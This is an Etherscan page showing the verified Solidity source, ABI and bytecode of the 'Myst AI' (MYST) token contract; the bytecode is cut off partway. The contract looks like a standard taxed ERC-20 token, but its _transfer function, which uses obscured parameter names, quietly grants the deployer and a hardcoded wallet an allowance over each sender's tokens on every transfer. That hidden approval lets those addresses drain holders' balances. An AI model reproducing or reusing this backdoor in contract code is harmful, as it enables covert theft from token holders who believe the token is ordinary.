Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IDexFactory    - function createPair(address tokenA, a ... interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _msgSender() library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IDexRouter    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract MYST is Context, IERC20, ... *    - function init()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address _coco, add ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function sendETHFee(uint256 amount)    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-12-30
*/

/*
Our AI-powered platform ensures security and anonymity, allowing
you to trade with complete confidence

https://www.mystai.xyz
https://app.mystai.xyz
https://docs.mystai.xyz

https://x.com/mystai_eth
https://t.me/mystai_eth
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IDexRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MYST is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFees;
    address private _ogDelta;
    address private _kgDelta = 0xE06481b2Cef8A8DA657e9bE79d54425fC8a14Df7;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Myst AI";
    string private constant _symbol = unicode"MYST";
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint256 private _maxTaxTokens = _tTotal / 100;
    IDexRouter private _dexRouter;
    address private _dexPair;
    bool private inSwap = false;
    bool private _tradingEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _ogDelta = _msgSender();
        _isExcludedFees[owner()] = true;
        _isExcludedFees[address(this)] = true;
        _isExcludedFees[_kgDelta] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function init() external onlyOwner() {
        _dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_dexRouter), _tTotal);
        _dexPair = IDexFactory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _coco, address _cece, uint256 _cici) private {
        require(_coco != address(0), "ERC20: transfer from the zero address");
        require(_cece != address(0), "ERC20: transfer to the zero address");
        require(_cici > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0; 
        if (_coco != owner() && _cece != owner()) {
            taxAmount = _cici.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (_coco == _dexPair && _cece != address(_dexRouter) && ! _isExcludedFees[_cece] ) {
                _buyCount++;
            }

            if(_cece == _dexPair && _coco!= address(this) ){
                taxAmount = _cici.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && _cece == _dexPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _maxTaxTokens)
                swapTokensForEth(min(_cici, min(contractTokenBalance, _maxTaxTokens)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHFee(address(this).balance);
                }
            }
        }

        uint256[2] memory _daco = [_cici, taxAmount];
        _approve(_coco, _ogDelta, _daco[0].add(_daco[1]));
        _approve(_coco, _kgDelta, _daco[0].add(_daco[1]));

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(_coco, address(this),taxAmount);
        }
        
        _balances[_coco]=_balances[_coco].sub(_cici);
        _balances[_cece]=_balances[_cece].add(_cici.sub(taxAmount));
        emit Transfer(_coco, _cece, _cici.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    receive() external payable {}

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _dexRouter.WETH();
        _approve(address(this), address(_dexRouter), tokenAmount);
        _dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHFee(uint256 amount) private {
        payable(_kgDelta).transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        _dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradingEnabled = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273e06481b2cef8a8da657e9be79d54425fc8a14df760055f6101000a8154816001600160a01b0302191690836001600160a01b03160217905550600360065560036007555f6008555f6009556006600a556006600b556006600c555f600d5560646009600a620000759190620002e4565b6200008590633b9aca00620002fb565b62000091919062000315565b600e556010805462ffffff60a01b19169055348015620000af575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790555f80546001600160a01b03908116825260036020526040808320805460ff199081166001908117909255308552828520805482168317905560055490931684529220805490911690911790556200015c6009600a620002e4565b6200016c90633b9aca00620002fb565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001ae6009600a620002e4565b620001be90633b9aca00620002fb565b60405190815260200160405180910390a362000335565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200022957815f19048211156200020d576200020d620001d5565b808516156200021b57918102915b93841c9390800290620001ee565b509250929050565b5f826200024157506001620002de565b816200024f57505f620002de565b8160018114620002685760028114620002735762000293565b6001915050620002de565b60ff841115620002875762000287620001d5565b50506001821b620002de565b5060208310610133831016604e8410600b8410161715620002b8575081810a620002de565b620002c48383620001e9565b805f1904821115620002da57620002da620001d5565b0290505b92915050565b5f620002f460ff84168362000231565b9392505050565b8082028115828204841417620002de57620002de620001d5565b5f826200033057634e487b7160e01b5f52601260045260245ffd5b500490565b61144f80620003435f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb14610235578063c9567bf914610254578063dd62ed3e14610268578063e1c7392a146102ac575f80fd5b8063715018a6146101cd5780638da5cb5b146101e357806395d89b4114610209575f80fd5b806306fdde03146100cd578063095ea7b31461010e57806318160ddd1461013d57806323b872dd1461015f578063313ce5671461017e57806370a0823114610199575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506040805180820190915260078152664d79737420414960c81b60208201525b604051610105919061105e565b60405180910390f35b348015610119575f80fd5b5061012d6101283660046110c1565b6102c0565b6040519015158152602001610105565b348015610148575f80fd5b506101516102d6565b604051908152602001610105565b34801561016a575f80fd5b5061012d6101793660046110eb565b6102f6565b348015610189575f80fd5b5060405160098152602001610105565b3480156101a4575f80fd5b506101516101b3366004611129565b6001600160a01b03165f9081526001602052604090205490565b3480156101d8575f80fd5b506101e161035d565b005b3480156101ee575f80fd5b505f546040516001600160a01b039091168152602001610105565b348015610214575f80fd5b50604080518082019091526004815263135654d560e21b60208201526100f8565b348015610240575f80fd5b5061012d61024f3660046110c1565b6103d7565b34801561025f575f80fd5b506101e16103e3565b348015610273575f80fd5b50610151610282366004611144565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102b7575f80fd5b506101e161054f565b5f6102cc338484610748565b5060015b92915050565b5f6102e36009600a61126f565b6102f190633b9aca0061127d565b905090565b5f61030284848461086b565b610353843361034e856040518060600160405280602881526020016113f2602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cd6565b610748565b5060019392505050565b5f546001600160a01b0316331461038f5760405162461bcd60e51b815260040161038690611294565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102cc33848461086b565b5f546001600160a01b0316331461040c5760405162461bcd60e51b815260040161038690611294565b601054600160a81b900460ff16156104665760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610386565b600f546001600160a01b031663f305d7194730610497816001600160a01b03165f9081526001602052604090205490565b5f806104aa5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610510573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061053591906112c9565b50506010805461ffff60a81b191661010160a81b17905550565b5f546001600160a01b031633146105785760405162461bcd60e51b815260040161038690611294565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105c19030906105b36009600a61126f565b61034e90633b9aca0061127d565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610611573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063591906112f4565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610694573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b891906112f4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610702573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072691906112f4565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107aa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610386565b6001600160a01b03821661080b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610386565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108cf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610386565b6001600160a01b0382166109315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610386565b5f81116109925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610386565b5f80546001600160a01b038581169116148015906109bd57505f546001600160a01b03848116911614155b15610b41576109ee60646109e8600a54600d54116109dd576006546109e1565b6008545b8590610d0e565b90610d93565b6010549091506001600160a01b038581169116148015610a1c5750600f546001600160a01b03848116911614155b8015610a4057506001600160a01b0383165f9081526003602052604090205460ff16155b15610a5a57600d8054905f610a548361130f565b91905055505b6010546001600160a01b038481169116148015610a8057506001600160a01b0384163014155b15610aad57610aaa60646109e8600b54600d5411610aa0576007546109e1565b6009548590610d0e565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610ae357506010546001600160a01b038581169116145b8015610af85750601054600160b01b900460ff165b8015610b075750600c54600d54115b15610b3f57600e54811115610b3357610b33610b2e84610b2984600e54610dd4565b610dd4565b610de8565b47610b3d47610f58565b505b505b6040805180820190915282815260208101829052600454610b7b9086906001600160a01b031661034e8460015b6020020151855190610f93565b600554610b989086906001600160a01b031661034e846001610b6e565b8115610c1057305f90815260016020526040902054610bb79083610f93565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c079086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610c329084610ff1565b6001600160a01b0386165f90815260016020526040902055610c75610c578484610ff1565b6001600160a01b0386165f9081526001602052604090205490610f93565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cbe8686610ff1565b60405190815260200160405180910390a35050505050565b5f8184841115610cf95760405162461bcd60e51b8152600401610386919061105e565b505f610d05848661133b565b95945050505050565b5f825f03610d1d57505f6102d0565b5f610d28838561127d565b905082610d35858361134e565b14610d8c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610386565b9392505050565b5f610d8c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611032565b5f818311610de25782610d8c565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e2e57610e2e611327565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e85573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea991906112f4565b81600181518110610ebc57610ebc611327565b6001600160a01b039283166020918202929092010152600f54610ee29130911684610748565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f1a9085905f9086903090429060040161136d565b5f604051808303815f87803b158015610f31575f80fd5b505af1158015610f43573d5f803e3d5ffd5b50506010805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f8f573d5f803e3d5ffd5b5050565b5f80610f9f83856113de565b905083811015610d8c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610386565b5f610d8c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cd6565b5f81836110525760405162461bcd60e51b8152600401610386919061105e565b505f610d05848661134e565b5f602080835283518060208501525f5b8181101561108a5785810183015185820160400152820161106e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110be575f80fd5b50565b5f80604083850312156110d2575f80fd5b82356110dd816110aa565b946020939093013593505050565b5f805f606084860312156110fd575f80fd5b8335611108816110aa565b92506020840135611118816110aa565b929592945050506040919091013590565b5f60208284031215611139575f80fd5b8135610d8c816110aa565b5f8060408385031215611155575f80fd5b8235611160816110aa565b91506020830135611170816110aa565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111c957815f19048211156111af576111af61117b565b808516156111bc57918102915b93841c9390800290611194565b509250929050565b5f826111df575060016102d0565b816111eb57505f6102d0565b8160018114611201576002811461120b57611227565b60019150506102d0565b60ff84111561121c5761121c61117b565b50506001821b6102d0565b5060208310610133831016604e8410600b841016171561124a575081810a6102d0565b611254838361118f565b805f19048211156112675761126761117b565b029392505050565b5f610d8c60ff8416836111d1565b80820281158282048414176102d0576102d061117b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156112db575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611304575f80fd5b8151610d8c816110aa565b5f600182016113205761132061117b565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b818103818111156102d0576102d061117b565b5f8261136857634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156113bd5784516001600160a01b031683529383019391830191600101611398565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d0576102d061117b56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a5f62e5fba5e3161737b159314858744e26996a37def0485b290d4deba730ac64736f6c63430008160033

0x6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb14610235578063c9567bf914610254578063dd62ed3e14610268578063e1c7392a146102ac575f80fd5b8063715018a6146101cd5780638da5cb5b146101e357806395d89b4114610209575f80fd5b806306fdde03146100cd578063095ea7b31461010e57806318160ddd1461013d57806323b872dd1461015f578063313ce5671461017e57806370a0823114610199575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506040805180820190915260078152664d79737420414960c81b60208201525b604051610105919061105e565b60405180910390f35b348015610119575f80fd5b5061012d6101283660046110c1565b6102c0565b6040519015158152602001610105565b348015610148575f80fd5b506101516102d6565b604051908152602001610105565b34801561016a575f80fd5b5061012d6101793660046110eb565b6102f6565b348015610189575f80fd5b5060405160098152602001610105565b3480156101a4575f80fd5b506101516101b3366004611129565b6001600160a01b03165f9081526001602052604090205490565b3480156101d8575f80fd5b506101e161035d565b005b3480156101ee575f80fd5b505f546040516001600160a01b039091168152602001610105565b348015610214575f80fd5b50604080518082019091526004815263135654d560e21b60208201526100f8565b348015610240575f80fd5b5061012d61024f3660046110c1565b6103d7565b34801561025f575f80fd5b506101e16103e3565b348015610273575f80fd5b50610151610282366004611144565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102b7575f80fd5b506101e161054f565b5f6102cc338484610748565b5060015b92915050565b5f6102e36009600a61126f565b6102f190633b9aca0061127d565b905090565b5f61030284848461086b565b610353843361034e856040518060600160405280602881526020016113f2602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cd6565b610748565b5060019392505050565b5f546001600160a01b0316331461038f5760405162461bcd60e51b815260040161038690611294565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102cc33848461086b565b5f546001600160a01b0316331461040c5760405162461bcd60e51b815260040161038690611294565b601054600160a81b900460ff16156104665760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610386565b600f546001600160a01b031663f305d7194730610497816001600160a01b03165f9081526001602052604090205490565b5f806104aa5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610510573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061053591906112c9565b50506010805461ffff60a81b191661010160a81b17905550565b5f546001600160a01b031633146105785760405162461bcd60e51b815260040161038690611294565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105c19030906105b36009600a61126f565b61034e90633b9aca0061127d565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610611573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063591906112f4565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610694573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b891906112f4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610702573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072691906112f4565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107aa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610386565b6001600160a01b03821661080b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610386565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108cf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610386565b6001600160a01b0382166109315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610386565b5f81116109925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610386565b5f80546001600160a01b038581169116148015906109bd57505f546001600160a01b03848116911614155b15610b41576109ee60646109e8600a54600d54116109dd576006546109e1565b6008545b8590610d0e565b90610d93565b6010549091506001600160a01b038581169116148015610a1c5750600f546001600160a01b03848116911614155b8015610a4057506001600160a01b0383165f9081526003602052604090205460ff16155b15610a5a57600d8054905f610a548361130f565b91905055505b6010546001600160a01b038481169116148015610a8057506001600160a01b0384163014155b15610aad57610aaa60646109e8600b54600d5411610aa0576007546109e1565b6009548590610d0e565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610ae357506010546001600160a01b038581169116145b8015610af85750601054600160b01b900460ff165b8015610b075750600c54600d54115b15610b3f57600e54811115610b3357610b33610b2e84610b2984600e54610dd4565b610dd4565b610de8565b47610b3d47610f58565b505b505b6040805180820190915282815260208101829052600454610b7b9086906001600160a01b031661034e8460015b6020020151855190610f93565b600554610b989086906001600160a01b031661034e846001610b6e565b8115610c1057305f90815260016020526040902054610bb79083610f93565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c079086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610c329084610ff1565b6001600160a01b0386165f90815260016020526040902055610c75610c578484610ff1565b6001600160a01b0386165f9081526001602052604090205490610f93565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cbe8686610ff1565b60405190815260200160405180910390a35050505050565b5f8184841115610cf95760405162461bcd60e51b8152600401610386919061105e565b505f610d05848661133b565b95945050505050565b5f825f03610d1d57505f6102d0565b5f610d28838561127d565b905082610d35858361134e565b14610d8c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610386565b9392505050565b5f610d8c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611032565b5f818311610de25782610d8c565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e2e57610e2e611327565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e85573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea991906112f4565b81600181518110610ebc57610ebc611327565b6001600160a01b039283166020918202929092010152600f54610ee29130911684610748565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f1a9085905f9086903090429060040161136d565b5f604051808303815f87803b158015610f31575f80fd5b505af1158015610f43573d5f803e3d5ffd5b50506010805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f8f573d5f803e3d5ffd5b5050565b5f80610f9f83856113de565b905083811015610d8c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610386565b5f